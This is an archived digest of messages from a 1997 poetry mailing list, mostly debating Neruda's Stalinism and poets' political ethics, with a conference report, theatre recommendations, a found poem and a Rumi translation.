>Precision in thought, I am saying, is essential to a poet in a way it is
>not to a painter; sloppy moral thinking by poets about poets ain't allowable.
>
>Well, maybe I'm overstating, do youthink so? It's late and I'm tired too
>tired prob. to take "precision of thought" for a subject, as I'm not being
>terribly precise myself. But, then, in a situation plain as the nose on
>one's face, precision comes fairly easily. Or should. Not much weighing and
>measuring required to revile racism.
>
>Tom Mandel
>
>
>
>
>
>Tom Mandel
>**********
>Screen Porch * [redacted]
>4031 University Dr. Suite 200 * vox: [redacted]
>Fairfax, VA 22030-3409 * fax: [redacted]
>**********

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694. **Maria Damon**

Re: Neruda and Stalinism

Sat 22 Feb 1997

At 8:19 AM -0800 2/22/97, Mark Weiss wrote:
>I'm going to suggest an explanation of why Neruda's "shit detector"

>malfunctioned in the case of Stalin. This will require a little history,
...

thanks mark. i'm going to share this msg w/ my class on the sf renaissance. it's hard for younger folks, myself included (born in 1955, to pretty apolitical parents who were horrified by mcCarthy but not afraid for themselves) to grasp the real horror of those years, which have been delivered to us as "happy daze." a few yrs ago i heard leo marx describing the politics of my dept back in the 50s. Allen tate was a genial gentleman, he sd, but he (marx) suspected that if they'd had an honest discussion about politics they wouldn't have had much in common. i naively asked, in the following q and a session, why they didn't in fact ever have that honest political discussion. he gently reminded me of the mccarthy era and said bluntly, i would have lost my job.

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695. **Tosh**
Re: Neruda and Stalinism
Sat 22 Feb 1997

Great letter Mark! Very interesting.

Tosh Berman
TamTam Books

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696. **KENT JOHNSON**
Weiss, naivete, Neruda
Sat 22 Feb 1997

In suggesting an explanation for why Neruda's "shit detector" malfuntioned vis a vis Stalin, Mark Weiss recounts some of the extreme psychological and ideological pressures endured by his radical parents and their Communist Party friends during McCarthyism. He argues, and quite accurately I'm sure, that the unrelenting quality of this pressure quite naturally led to a circling of the wagons in rank and file CP circles which only served to narrow further the political field of vision of honest and deeply moral people.

The story is moving, but I'd argue that it is fairly irrelevant in terms of helping one to understand Neruda and in coming to terms with that great poet's lifelong and fairly visceral Stalinism. In fact, Weiss's argument that Neruda's "complex naivete" is analogous to that of U.S rank and file CPers centers on his concluding statement that, "If things were bad for leftists in America, they were awful in the feudal societies of Latin America. The kind of quasi- offficial violence that marked US labor conflicts in the first three decades of this century

persisted in Chile, with the brief respite of the Allende regime, until Pinochet." Yes, Chilean history is one of class conflict, and things were never exactly rosy for leftists there, particualrly in moments of acute crisis, when, as in 1973, the full force of the native ruling class and imperialism comes down with an iron fist.

But an important part of the history of the Stalinized Communist parties everywhere during the 30's and through WWII (in line with Kremlin dictates that were driven by Stalin's desire to maintain a modus vivendi with the U.S. and Europe) is the renouncing of the direct struggle for power in the "feudal" societies of the "third world," in favor of CP alliances with the "progressive" and "nationalist bourgeoisie." This led in a number of countries--and Chile, in fact, is a prime example--to the formation of electoral alliances between the Communist parties and capitalist parties, so-called "popular fronts," which in a number of instances around the world momentarily came to power. Far from pushing forward a revolutionary program, the CP in nearly all these cases acted as faithful junior partner, working to hold the trade union movement in check, and often being in the vanguard of the ideological and legal attacks on activists who would not consent to these accomodationist policies (the classic and tragic case is Spain, where the most rabid and successful enemies of the powerful anarchist trade union movement were not the fascists but the PC of Spain, on which see Orwell's _Homage to Catalonia_. But the old SWP member, Militant newspaper hawker in me is coming back and I'm getting long-winded. So how does this relate to Neruda?

In this way: Pablo Neruda was in no way a rank and file communist whose personal life was under constant and relentless harrassment. Of course, he faced persecution in significant ways when the political winds weren't blowing the right way, and he faced sthose with great courage (e.g. his albeit poeticized flight across the Andes from the previously "progressive bourgeois" Radical Party government of Videla was undoubtedly heroic) but he was also a leading official of the Chilean Communist Party, its Secretary of Propaganda for an extended period in the 1940's, an elected CP senator during the "Popular Front" Videla regime, and consul and ambassador for "progressive" capitalist Chilean governments on two or three occasions, all as an open member of the Communist Party.

On one of those "consul" occasions, Neruda was in Mexico for an extended spell during Trotsky's exile there. Far from being "naive" about the purges, show trials and summary executions of left-wing communists in the Soviet Union, Neruda knew about them well and approved of them, as any internationally prominent member in good standing of the Third International did. There was nothing all that secret about the purges within the movement. The crowning, orgasmic moment, of course, of the Stalinist terror, was Trotsky's murder in

Mexico City at the hands of an NKVD agent (or was it KGB by then?). There is a revealing moment in Neruda's _Memoirs_ when he writes, with the idyllic atmosphere so typical of that book (but it seems we can only assume it's true) about going to meet David Alfaro Siqueiros, one of the two greatest Mexican muralists (the other was Diego Rivera, Frieda Kahlos's husband, and both great friends of Trotsky's), at prison, where he was conveniently let out on Neruda's visits by the warden so David and Pablo could go drink and have, as Neruda describes it, a jovial time. Siqueiros, a prominent member of the Mexican CP, was in jail for an early but failed team machine gun assault on Trotsky, which Trotsky describes in some detail in the autobiography completed shortly before Stalin finally got him.

I'd like to perhaps boldly suggest this, though I'm unaware of any concrete proof, or other discussion of the matter: Neruda was well aware of the efforts to kill Trotsky, was a fan of the attempt, and was in close consultation with Stalin's henchmen during his presence in Mexico. Why wouldn't he have been? Neruda was close to a number of people in Trotsky's circle of avant-garde admirers, which included Rivera and Kahlo, Breton and a number of the French Surrealists, and numerous Mexican writers and artists. Why wouldn't the most prominent Communist Party member in Mexico and clandestine drinking buddy of Trotskyite head-hunter Siqueiros have been closely consorting with Stalin's henchmen? To think otherwise strikes me as naive, and naive in an uncomplex way.

I don't mean by these comments (which I'd wager could be expanded and made more credibly damning with benefit of some research) to take anything away from Neruda's writing. In fact, I don't think it does in the least, and the recent tough-poet guy commentary about punch in the mouth strikes me as sad and silly. Dorn, Neruda, Pound, are all great poets who have enriched our lives because they've shown us in their own different ways what greatness the human imagination is capable of. If they've compromised themselves in serious ways through their public lives, as they certainly have, that speaks to how strange and paradoxical the task of being a human being can be, and about how the imagination can be at once capable of the basest excrescences and of the wildest and most sublime beauty. Thank god for poetry and the weird, indecipherable people that make it.

So to conclude, Mark, and with the greatest respect, I'd like to suggest that Neruda was in no way like your parents or their beautiful friends: He was a very priviledged Communist Party apparatchik, who had a life of relative leisure, title, and travel, and he used his position for good and for bad. He knew quite a lot about what Stalin was doing, approved of it, and participated in it very conscientiously in the "long-range interests of the class struggle." I'd suggest that given the explosion of popularity his name has enjoyed given the

uncannily _Memoir_ -like atmosphere of Il Postino, that some careful accounting of his role is in order from poets who should be more skeptical of such romanticizing.

These comments are certainly overly general, but your "complex naivete" excuse seems somewaht easy, especially since the "fascists" seem to get trashed on this list for behavior that seems, in comparison to Neruda's (and who are the others? Hikmet, Brecht, even Vallejo?, etc.), childish and almost poignant in its desperate stupidity.

Kent

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697. **Alan Jen Sondheim**
Re: Neruda and Stalinism
Sat 22 Feb 1997

I want to thank you greatly for this post, which brings back my own fears and memories as well, not that they are that far beneath the surface.

Mayakovsky, one of my favorite poets, could also be found absurd or want- ing, vis-a-vis the empowered State (Pasternak takes him to task), and there is the oddly disturbing "case" of Rimbaud.

A final, moody, note - when people "become cases," what is implied? This is an odd distinction, the identification of a person, personhood, with a specific narrative turn - "the case of Solzhenitsyn," "take the case of Faulkner," and so forth...

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

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698. **Dean Taciuch**
Re: spell check and etc
Sat 22 Feb 1997

The call for spell-check and user dictionary files reminded me of a piece I was working on a few months ago (still not finished)-- a long poem called "rote" which is built from a 1930s speller. The speller itself simply lists words, from grade 2 through 8, but there is a sound patterning to them, based on similar spellings and words that might be confused by grade schoolers. I placed the words into lines and stanzas adding nothing but punctuation. I go back to it every once in a while, mostly to take out the punctuation I put in--not having

worked with found material very often, I tended not to trust what I found. (Probably by next year I'll have worked it back to the original--just lists, that'll be it, and the time spent will be the poem.)

Here's a sample, from "Grade 5"

Mist list sleet, sweep swept.
Taught daughter alike. Aside
alarm. Against good-by, goodnight.
Tax text. Cloak means. Stairs
chose clerk.

Glee sleeve. Ninth ninety
nineteen. Lazy crazy tap
trap. Strap deer, beer sneak.
Speak, speaker, truly. Geese
bolt. Marble stump.

Louder cooler blaze. Graze
scrub scrubbed. Serve
served server. Serving lodge
dodge circle. Circus cistern
tease. Butcher stiff bog banana.

Joy, employ narrow
sparrow, lose losing.
Acted actor acting. Quit
quite jelly. Jolly weekly,
deeply steel daisy. Job blot junk.

Least yeast remember.
Remembered remembering
burned, burst simple sample.
Example: lowest, highest afloat. Agree,
agreed? Waist pinch, barking fever cord.

Lack stack backed latest.
Finest main remain trained.
Level camel. Cruel feed
feeder. June, July watching.
Struck answer. Voice coop.

Dean

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699. Christopher Reiner
SF Reading
Sat 22 Feb 1997

On Thursday, February 27th Susan Smith Nash reads from _Channel-Surfing the Apocalypse_ and other works at New College of California, 777 Valencia St. San Francisco, CA. 7:30 p.m. $4.

Information about the book and the author can be found at:

http://www.crl.com/~creiner/syntax/channel.html

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700. David Kellogg
Re: people-not-here-talk -Reply
Sat 22 Feb 1997

On Fri, 21 Feb 1997, George Bowering wrote:
>
> I was wondering why the anti-Dorn animus, too; only people I can remember
> his dissing are rednecks.

Some of my best friends are rednecks . . .

Cheers,
David
~~~
~~~

appropriateness have never stopped me in the past. Tom's right. And I shouldn't have to remind folks that violence is not an inappropriate response to violence. As I remember, Brecht's original conception of plumpe Denken was a counter to those who would use their oh so subtle metaphysics to deny or explain brutality.It is crucial we remember this. Would I, personally, punch Mr. Dorn? I don't know the man well, nor am I familar with his remarks. My "redneck" uncles always told me never to thrash a man unless you knew for sure he needed a thrashing. Or were certain that what you were making a fuss over warranted a fight. In this case, I can say unequivocally that the fuss is enough, but the man, well, I'd need to meet him. But, then, I've never tried to hide the fact that I am, indeed, a redneck too. Pass the Copenhagen! Thanks,

Eric

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702. Schuchat Simon
Re: Neruda and Stalinism
Sat 22 Feb 1997

I don't disagree with any of Marc's comments re Neruda and Stalinism (though it seems to me that in the 20s Stalin was the preferred choice of the capitalist west over Trotsky, who wanted to export revolution -- Stalin was going to stay at home and build socialism in one country -- but that is a very minor nit). and obviously Neruda was partially motivated by the two impeccable decision rules: the enemy of my enemy is my friend, and you take your friends where you find them.

but I want to note that one could also construct an equally rational justification for Pound's fascism, espousal of Mussolini and probably even the anti-semitism could be explained, justified, and so on.

we don't have the same direct stake in Neruda so we don't suffer as much with his Stalinism as we do with Pound. and I suspect most of us on the list will generally agree with Neruda's attack on Yanqui imperialismo, even if we are Yanquis, while Pound's views on Jews involve some of us, at least me, in a different way that we can't sympathize with.

but Pound was never as rewarded by power as was Neruda, either local Chilean (Senator and diplomat, culminating as Ambassador to Paris) or international left (promoting his work in translation all over the globe). the most support Pound ever received from the "state" was his room and board at St. E's.

again, I am not here "attacking" Neruda or "defending" Pound. I am arguing that active espousal of big picture politics, particularly chiliastic politics on either the left or right, will magnify other flaws in the human poet.

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703. **Mark Weiss**
Re: Neruda and Stalinism
Sun 23 Feb 1997

I don't think I was trying to justify Neruda's or anyone else's Stalinism. I was trying to explain how it was possible to be deluded, and to underline the importance of context in understanding behavior. But let's get this straight--I might be able to arrive at an explanation of how Pound came to feel and act the way he did, but I'd still be left with a poet incorporating into his work a vicious racist system based on a perversion of genetics. That was a central element of his politics. Stalin was not central to Neruda, communism (whether or not we think it practicable) as an ideal of human justice was. His delusion was accepting Stalin as the instrument thereof. But it was the pursuit of justice that was the motivation. While both men may have been deluded I think there's a world of difference between those two positions, and I hope that it's only the rhetorical habit of symmetry that keeps you from seeing that. And I don't think that anyone outside the Aryan Nation could justify Pound's position.

Just to pick at a nit, it's entirely possible that there were people in the west who thought that Stalin was better for their futures than Trotsky. That doesn't mean that they had the power to determine the outcome of the power struggle. Or do you have copies of the cheques from JP Morgan to Stalin's PAC? It's also not entirely clear (and here I enter into heresy) that Trotsky would have been such a bargain for the Russian people.

>but I want to note that one could also construct an equally rational
>justification for Pound's fascism, espousal of Mussolini and probably
>even the anti-semitism could be explained, justified, and so on.
>
.>

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704. **Yunte Huang**
Re: Louisville Report
Sun 23 Feb 1997

As one of the many presenters on the Lou. Conf., my trip to Lou., I shall say, is a hell lot of driving, two nine-hour long and lone drive within two days. So I missed Thursday's and Saturday's show, but I can report on a few panels I wnet to on Friday.

Panel C4: Strategizing American Poetics after Williams
  Thomas Orange, "Imagism and Objectivism, and the Making of W.C.

Williams"
David Chirot, "Williams, Kerouac, Grenier: Visual Words, Soundful Visions"

Good attendance, nice slide shows. For myself, having seen Grenier's pages (with those impressive two fingers) many times and having heard him talked (or not talked) about those photos, it still felt fresh when somebody else talked about them. Orange raised an interesting but arguable point about Pound's inability to understand early Williams' poetry.

Panel D6: Readings in Anglo-American Modernist Poetics

Yunte Huang, "Ezra Pound and the Chinese and Jewish Traditions of Textual Practice"
Jason Fichtel, "Go Down, Melanctha: African American Spirituals and Musicality in Gertrude Stein's Melanctha"
Benjamin Lockerd, "The Age of Eliot: Th Age of Einstein"
Michael Campbell, "Comedy Both Human and Inhuman: Stevens' Poetry and Bergson's Social Corrective Theory of Laughter"

I have to say, in terms of attendance and response, the panel went very well. My paper was to relate Pound's hatred in unstable Jewish textuality to some of the moves he made when he translated (the translation) from the Chinese. Fichtel's analysis of those names in Melanctha (like Jef-fe-rey, Me-lanc-tha) in relation to African Spiritual rhythems, which I don't know much about, was interesting. Lockerd's paper is about Eliot's engagement with the new development in physics (Einstein's theory), and one person in the audience turned out to be a former student of Einstein. Campbell read Stevens as a comedian, which I found to be more interesting than reading Stevens' metaphysics. Before the panel, I barely knew a soul among the five-hundred strong mass (except Alan G.) and could recognize a few names and faces, but after the panel I had some nice chats with people who came to me.

Panel F5: US Poetry and/as Popular Culture

Maria Damon, "When the NuYorican Came to Town: A Study of Poetic Exchanges"
Christopher Beach, "Poetry on Television?: Bob Holman's 'A United States of Poetry' as Video-Poetry Revolution"
Joseph Harrington, "America's Richest Poet, or The Meaning of Walt Mason"

When I walked into the room, a woman was smiling at me, and I thought that was Maria Damon. But it turned out she was doing an "affirmative action" count in the room, the result of which she would use to make a point in discussion. And of course, Maria D. wasn't there, she remote-controlled Alan Golding to read her kick-'em-in-the-ass paper about the social exchanges among different

poetry communities in Twin City. Harrington and Beach used Mason and Holman respectively to argue for a popular function of poetry. It was a lively panel, provoking various response. Alan, now disconnected from the home-office in Twin City, made three comments, one of which being whether some video poetry is actually using the mode of production of the object of its critique (a structural-Marxist point). And the woman who was counting "heads" earlier on (the reason she was smiling at me, by the way, I guess, was that I was an Asian male) asked about eh gender issue involved.

All and all, it was fun. Sorry didn't make it to more of the sessions, and to Alan's party on Saturday night, but "we" are still during the six-day memorial period for Deng's death, so no partying for me.

Yunte Huang

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705. **Mark Weiss**

Re: Weiss, naivete, Neruda

Sun 23 Feb 1997

Could be you know the history better than I do--I, too, would have to do more research than I am inclined to at the moment. But for the record, wasn't Neruda a rather strong supporter of the miner's strike that was the defining moment of Chilean leftist politics, despite whatever directives came out of Moscow? Also for the record, my parents were never communists nor always beautiful, and only some of the communists in the neighborhood were beautiful. None of them, even those very involved with the party, were fully aware of what was going on in the Soviet Union, although they tended to be apologists. I think that they were apologists out of a desperation to maintain their belief in a set of human possibilities that met with positive reinforcement nowhere else that they had access to. For the same reason many African American intellectuals, who also should have known better, became involved with the party. And I am suggesting that Neruda shared that desperation even in his privileged, but insecure, position, that even, perhaps, witnessing misery around him made him more desperate because of his privileged position. (By the way, a meeting in prison is hardly likely to be clandestine, and privileged treatment of privileged prisoners of the kind you describe is not exactly unknown in Latin American jails) Desperation can motivate a lot of unseemly behavior, but I'd really need more proof to accept that Neruda was a party to any secret Stalinist plot to thwart the gains of unionized labor. Perhaps he thought that alliances were the best possible way to go in the circumstances. Those alliances certainly for a time improved the living conditions of large numbers of people, even if they failed to achieve a worker's paradise. Let me go further. There is no question

but that most of the CPs around the world felt a need to remain in solidarity, and there is no question but that they got detailed directives and funds from the Kremlin, but the evidence seems to be that a very very few of the most important functionaries (Neruda was never in that sort of manegerial position; in fact, he was out of the country and out of contact with the Chilean party for long stretches of time} knew the details of directives or even the exact channels for funds. Even the FBI acknowledges this now. The information was just too sensitive. Trotsky assassination theories have been for a long time the kind of industry that Kennedy assassination theories have become in this country. Neruda as conspirator is a new one on me, and I congratulate your originality. I do think that that's a charge I would be wary of levelling at anyone with no basis but ingenious speculation. Was Neruda really the most important communist in Mexico? Finally, to an old SWP member I apologize for having implied anything less than complimentary about Trotsky. I'm suddenly reminded of all those parties in my youth that dissolved into partisan shouting and declarations of loyalty to one International as opposed to another. Even then they struck me as more about theology than history, and I swore I'd stop participating in them. And here I am, sucked in again. But can I really leave your final statement unchallenged? As far as I know, unless Neruda really was only friendly with Breton et al in order to facilitate the assassination of Trotsky, he wasn't involved with killing anyone or advocating the killing of large numbers of people for reasons of race and ethnicity, although he may have swallowed and been an apologist for the official party line on the show trials (it's hardly likely, incidentally, that he was aware of the extent of the gulag system--the kremlin rarely boasted about it to people whose good will they felt it was useful to maintain). Maybe that's why some of us on this list get madder at fascists of the 30's and 40's than they do at Neruda.

At 12:47 AM 2/23/97 +0600, you wrote:
>In suggesting an explanation for why Neruda's "shit detector"
>malfuntioned vis a vis Stalin, Mark Weiss recounts some of the extreme
>psychological and ideological pressures endured by his radical
>parents and their Communist Party friends during McCarthyism. He
>argues, and quite accurately I'm sure, that the unrelenting
>quality of this pressure quite naturally led to a circling of the
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>in rank and file CP circles which only served to narrow further the
>political field of vision of honest and deeply moral people.
>
>The story is moving, but I'd argue that it is fairly irrelevant in
>terms of helping one to understand Neruda and in coming to terms with
>that great poet's life-long and fairly visceral Stalinism. In fact,

>Weiss's argument that
>Neruda's "complex naivete" is analogous to that of U.S rank and file
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>statement that, "If things were bad for leftists in America, they were
>awful in the feudal societies of Latin America. The kind of quasi-
>offficial violence that marked US labor conflicts in the first three
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>
>But an important part of the history of the Stalinized
>Communist parties everywhere during the 30's and through WWII
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>countries--and Chile, in fact, is a prime example--to the formation of
>electoral alliances between the Communist parties and
>capitalist parties, so-called "popular fronts," which in a number of
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>a revolutionary program, the CP in nearly all these cases acted as
>faithful junior partner, working to hold the trade union movement in
>check, and often being in the vanguard of the
>ideological and legal attacks on activists who would not consent to
>these accomodationist policies (the classic and tragic case is
>Spain, where the most rabid and successful enemies of the powerful
>anarchist trade union movement were not the fascists but the PC of
>Spain, on which see Orwell's _Homage to Catalonia_. But the old SWP
>member, Militant newspaper hawker in me is coming back and I'm
>getting long-winded. So how does this relate to Neruda?
>
>In this way: Pablo Neruda was in no way a rank and file communist
>whose personal life was under constant and relentless harrassment. Of
>course,
>he faced persecution in significant ways when the political winds
>weren't blowing the right way, and he faced sthose with great courage
>(e.g. his albeit poeticized flight across the Andes from the

>previously "progressive bourgeois" Radical Party government of Videla
>was undoubtedly heroic) but he was also a leading official
>of the Chilean Communist Party, its Secretary of Propaganda for an
>extended period in the 1940's, an elected CP senator during the
>"Popular Front" Videla regime, and consul and ambassador for
>"progressive" capitalist Chilean governments on two or three
>occasions, all as an open member of the Communist Party.
>
>On one of those "consul" occasions, Neruda was in Mexico for an
>extended spell during Trotsky's exile there. Far from being "naive"
>about the purges, show trials and summary executions of left-wing
>communists in the Soviet Union, Neruda knew about them well and
>approved of them, as any internationally prominent member in good
>standing of the Third International did. There was nothing all that
>secret about the purges within the movement. The crowning, orgasmic
>moment, of course, of the Stalinist terror, was Trotsky's murder in
>Mexico City at the hands of an NKVD agent (or was it KGB by then?).
>There is a revealing moment in Neruda's _Memoirs_ when he writes,
>with the idyllic atmosphere so typical of that book (but it seems we
>can only assume it's true) about going to
>meet David Alfaro Siqueiros, one of the two greatest Mexican muralists
>(the other was Diego Rivera, Frieda Kahlos's husband, and both great
>friends of Trotsky's), at prison, where he was conveniently let out
>on Neruda's visits by the warden so David and Pablo could go drink
>and have, as Neruda describes it, a jovial time. Siqueiros, a
>prominent member of the Mexican CP, was in jail for an early
>but failed team machine gun assault on Trotsky, which Trotsky
>describes in some detail in the autobiography completed shortly
>before Stalin finally got him.
>
>I'd like to perhaps boldly suggest this, though I'm
>unaware of any concrete proof, or other discussion of the matter:
>Neruda was well aware of the efforts to kill Trotsky, was a fan of
>the attempt, and was in close consultation with Stalin's henchmen
>during his presence in Mexico. Why wouldn't he have been? Neruda was
>close to a number of people in Trotsky's circle of avant-garde
>admirers, which included Rivera and Kahlo, Breton and a number of the
>French Surrealists, and
>numerous Mexican writers and artists. Why wouldn't the
>most prominent Communist Party member in Mexico and clandestine
>drinking buddy of Trotskyite head-hunter Siqueiros have been closely
>consorting with Stalin's henchmen? To think otherwise strikes me as

>naive, and naive in an uncomplex way.
>
>I don't mean by these comments (which I'd wager could be expanded
>and made more credibly damning with benefit of some research) to
>take anything away from Neruda's writing. In fact, I don't think it
>does in the least, and the recent tough-poet guy commentary about
>punch in the mouth strikes me as sad and silly. Dorn, Neruda, Pound,
>are all great poets who have enriched our lives because they've shown
>us in their own different ways what greatness the human imagination
>is capable of. If they've compromised themselves in serious ways
>through their public lives, as they certainly have, that speaks
>to how strange and paradoxical the task of being a human being can
>be, and about how the imagination can be at once capable of the basest
>excrescences and of the wildest and most sublime beauty. Thank god
>for poetry and the weird, indecipherable people that make it.
>
>So to conclude, Mark, and with the greatest respect, I'd like to
>suggest that Neruda was in no way like your parents or their
>beautiful friends: He was
>a very priviledged Communist Party apparatchik, who had a life of
>relative leisure, title, and travel, and he used his position for
>good and for bad. He knew quite a lot about what Stalin was doing,
>approved of it, and participated in it very conscientiously in the
>"long-range interests of the class struggle." I'd
>suggest that given the explosion of popularity his name has enjoyed
>given the uncannily _Memoir_ -like atmosphere of Il Postino, that
>some careful accounting of his role is in order from poets who should
>be more skeptical of such romanticizing.
>
>These comments are certainly overly general, but your "complex
>naivete" excuse seems somewaht easy, especially since the "fascists"
>seem to get trashed on this list for behavior that seems, in
>comparison to Neruda's (and who are the others? Hikmet, Brecht, even
>Vallejo?, etc.), childish and almost poignant in its desperate
>stupidity.
>
>Kent
>
>

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706. **KENT JOHNSON**
Neruda/Stalin
Sun 23 Feb 1997

Dear Mark:

What Neruda relates in Memoirs is that he met with Siqueiros on a number of occasions while the latter was in prison for leading the first attempt on Trotsky. The warden would let Siqueiros out, and the two would go off to a bar somewhere for a few rounds to return before morning. If Neruda's account is true, I'd say it raises some questions about his activities and associations in Mexico. I never said that Neruda bore any *central* responsibility in Trotsky's murder, only that his position, enthusiastic pro-Stalin allegiances, and warm liaisons with a person deeply implicated in the events would make it seem quite likely that his politics within the world of leftist factionalism may have been less romantic than the Il Postino variety.

A few things in response to your last comments:

1) that Stalin ordered Trotsky's murder and called on leading Mexican Communist functionaries to help carry it out is no more an "assasination theory" than the CIA's involvement in the coup against Allende is a theory. What other "theory" is there?

2) I never said "Neruda was a party to any secret Stalinist plot to thwart the gains of unionized labor." The Third International was very open and eager in fact, during the popular front period, in telling workers that socialism was not an immediate goal. Here it's not a question of whether this was right or not, but it is relevant in so far that in various countries the local CP's branded workers who did not accept this "gradual road" to socialism as fascists and enemies of the working class. In Spain, a conflict Neruda was intimately involved with, this often came down to open attempts to crush the syndicalist unions and NKVD plots to murder individual union leaders. This is not speculation, nor is it speculation to think that Neruda was very clear on the factional politics of the Spanish Republic.

3) I didn't say that Neruda's close friendship with many of those writer's and artists around Trotsky was a convenience to aid the Kremlin's machinations, and Neruda never betrayed any of his friends to my knowledge. I was only suggesting (and I'll stand by the hypothesis) that Neruda's involvement with those in the artistic circle around Trotsky, his obvious approval of the Siqueiros raid, his international prominence as a supporter of Stalin, and his official Party position, make it highly unlikely that he was not consulted by Stalin's agents (who were surely meticulous) and makes it seem reasonable that as a loyal Party member he would have had no problem sitting down to talk if asked. If he could

sneak the guy who pulled the trigger out of jail to drink tequila a bunch of times, why does this seem such an "original" strech?

Anyway, I want to be clear that my purpose in raising the issue was not to promote Trotsky, who was surely a great deal more cold- blooded than Neruda and clearly capable of more human sacrifice with a clear conscience than most Marxists. Nor, by the way, do I retain any nostalgia, personal or political, for the paranoid and sectarian world of the U.S. old left. Sorry to have "sucked you in" as you say, to what I guess are some shared unpleasant memories! But I would confidently assert again that Neruda was in no way a naif vis a vis the blood-bath against the "Trotskyite class-enemies" in the USSR, and his apparent celebration of efforts to knock-off the leader of it all would seem to support such a position. In saying that I am mainly trying to suggest that passionate politics often lead even the most generously creative minds into very ungenerous stances, and this happened with Neruda in his support (eventhough in his mind, I'm sure, they were tragically necessary) for policies in the Soviet Union that were grossly criminal. Here's an interesting question: Are you aware of any statements by Neruda disavowing his support of Stalin following Khrushchev's revelations? He may well have made them, and if so it would be pleasing to know that.

And above all, the underlying point to my previous post and in this one is the following: None of it, whatever the full truth might be, changes one iota Neruda's greatness as a poet.

Kent

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707. F.A. Templeton
playwrights
Sun 23 Feb 1997

Not to downplay Mac's talent (Mac Wellman), which I applaud, but I have another candidate here: John Jesurun. John is not as published as Mac, but a) his Chang in a Void Moon is a landmark in theatre. It was a serial, (much imitated since as a form) every Monday night, 2 showings, at the Pyramid Club in the early 80s. (Speaking of prolific) John would go home after the show, write the next episode, cast and rehearse it by the next week. The main character was played by a man and a woman, one character (the Infanta) was played by a chair, and the action took place in several centuries simultaneously. His staging (he directed too) was absolutely seminal. Actors included John Kelly, Steve Buscemi, Anna Kohler etc etc. The plot proliferated to the point where John's intro before the show of the story so far was a verbal tour de force which should have been saved for literary history. Chang has been revived in continuation a

couple of times, including upcoming this March or April at The Kitchen, for episodes 50-something to 60-something.

and b) check out his Philoktetes, in Yale Theatre mag a couple of years ago, for some of the best American language onstage ever, in a work of dizzying savagery. It was written for Ron Vawter before he died.

And lots more in between. John's EVERYTHING THAT RISES MUST CONVERGE should at last be coming out from Sun & Moon soon (eh, Douglas?) but there's also a huge body of produced work.

GO SEE IT! That's what playwrights write for.

And let's not forget Richard Foreman.

On Sat, 22 Feb 1997, Mark Weiss wrote:

> *I don't think Mac ever published a mag; if he did, it was before he came to New York in the 70's. He did edit a collection of theater criticism and I think two collections of contemporary plays. And of course he has published several books of poems and novels, mostly with Sun&Moon. I wrote the intro to his first major poetry collection, which was published by New Rivers. Mac has one a bunch of Obies. He may be the most prolific playwright since Lope da Vega, and he's probably the best we've got. At his best he's great. And I use the term advisedly.*

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708. **F.A. Templeton**

Re: spell check and ethics check

Sun 23 Feb 1997

On Fri, 21 Feb 1997, Bob Perelman wrote:

> *It makes me think poets are very irritated by being imprisoned, finally, in the aesthetic sphere. In the chapter on Bruce Andrews in *Marginalization* I ask if he means it when he writes "*sink* the boat people!" Of course he doesn't. But he does want that intensity of statement.*

Been mulling this one, Bob. What does "means it" mean? If he doesn't mean what he says, what have we got? A quote? Irony? Hardly sheer (unreferential) intensity. Maybe the audience at the Ear know he doesn't mean it, but what about the guys at the back of the bar? I've always wondered about the "not-saying" position's dependency on cultural context, especially when a lot of what we're supposed to understand as "not-said" are other-cultural references (Wooster Group's use of blackface, etc.) I'm genuinely in a spirit of inquiry here, as a fan of both Bruce and Liz LeCompte. And though I've been critical in the past of ungrounded irony, ie irony that doesn't state its critical position, I'm

not happy either with insistence on constant gloss and de-implication of the speaker -- a kind of staking your tuft so you can point to the guy on the next one and imitate him. A you're-wrong-so-I-must-be-right dogmatism. I agree with BOTH Randolph and Aldon:

Hard to make any judgement stick when a tonal change is enough to put a safe distance between us and our statements, never mind appeals to indeterminism, group myopia or even (gasp) growth. All the same, though we might have broken dogmatism up for parts, the appetite for a stonefest is as insatiable as ever. Which was perhaps why political correctness was invented. The appearance of humanism yet all the fun of the chase. Unfortunately, not all baddies are so obliging as to declare themselves in their utterances.

and Aldon:
Isn't it in fact because people are not surprised to hear racist terms
that they go on being used with such casual frequency?

The problem is, that tonal change doesn't carry as far as we might like to think. Try travelling. Even out of the "aesthetic sphere",or out of where it's ok to insult your friends.

On some levels there's a dramatic question here. Most cultures get dialogue between points of view, so maybe the performance-implied (if verbally denied) insistence on the poet's subject-position needs a shake. Even if Charles B denied my suggestion that all his linguistic tone-subject multiple shifting was dramatic. And people still quote back lines by my characters and say, "You said..." (Poetry student, actually). Hating speech won't get you out of it being read or heard or your speaking.

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709. David R. Israel

Poetry: Rumi { "I don't get tired of You" }

Sun 23 Feb 1997

And now, an interlude . . . .

I don't get tired of You. Don't grow weary
of being compassionate toward me!

All this thirst-equipment
must surely be *tired* of me,
the waterjar, the water-carrier.

I have a thirst fish in me
that can never find enough
of what it's thirsty for!

Show me the way to the Ocean!
Break these half-measures,
these small containers.

All this fantasy
and grief.

Let my house be drowned in the wave
that rose last night out of the courtyard
hidden in the corner of my chest.

Joseph fell like the moon into my well.
The harvest I expected was washed away.
But no matter.

A fire has risen above my tombstone hat.
I don't want learning, or dignity,
or responsibility.

I want this music and this dawn
and the warmth of your cheek against mine.

The grief-armies assemble,
but I'm not going with them.

This is how it always is
when I finish a poem.

A Great Silence overcomes me,
and I wonder why I ever thought
to use language.

Jelaluddin Rumi

rendered by Barks (based on an earlier version by A.J.Arberry) from *RUMI: Like This* (43 Odes, versions by Coleman Barks) published by Maypop Books (1989) -- 1st poem in the book

[w/ thanks to les artistes, Markar & Parkar for their gift of this volume some years ago -- I just don't read this stuff enough]

.
.....
.....
\\\

| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
//\\\\\/////

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710. **F.A. Templeton**
Re: playwrights
Sun 23 Feb 1997

Proper reference: John Jesurun's Philoktetes is in Yale Theatre mag, now called Theatre, volume 25 no 2.

Fiona

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711. **Ira Lightman**
Re: spell check and ethics check
Sun 23 Feb 1997

I really appreciated Fiona Templeton's posting,
especially being able to put irony quotation marks
in a dramatic/performance presentation, yet does
(as Fiona suggests) this rescue a text's harsh remark?
The idea of being a rebel, a freedom warrior, against
political correctness, sometimes is not against pc
but sharing power.

Then again, un-pc remarks made by individuals
in private can sometimes be a release from the
hard work of diplomacy/public behaviour, *by those
who are very committed* to anti-racism etc, who
have *practical effect* (e.g. on lobbying for funds
and conditions) *outside language*.

One of the
roles of writing has always been to place language
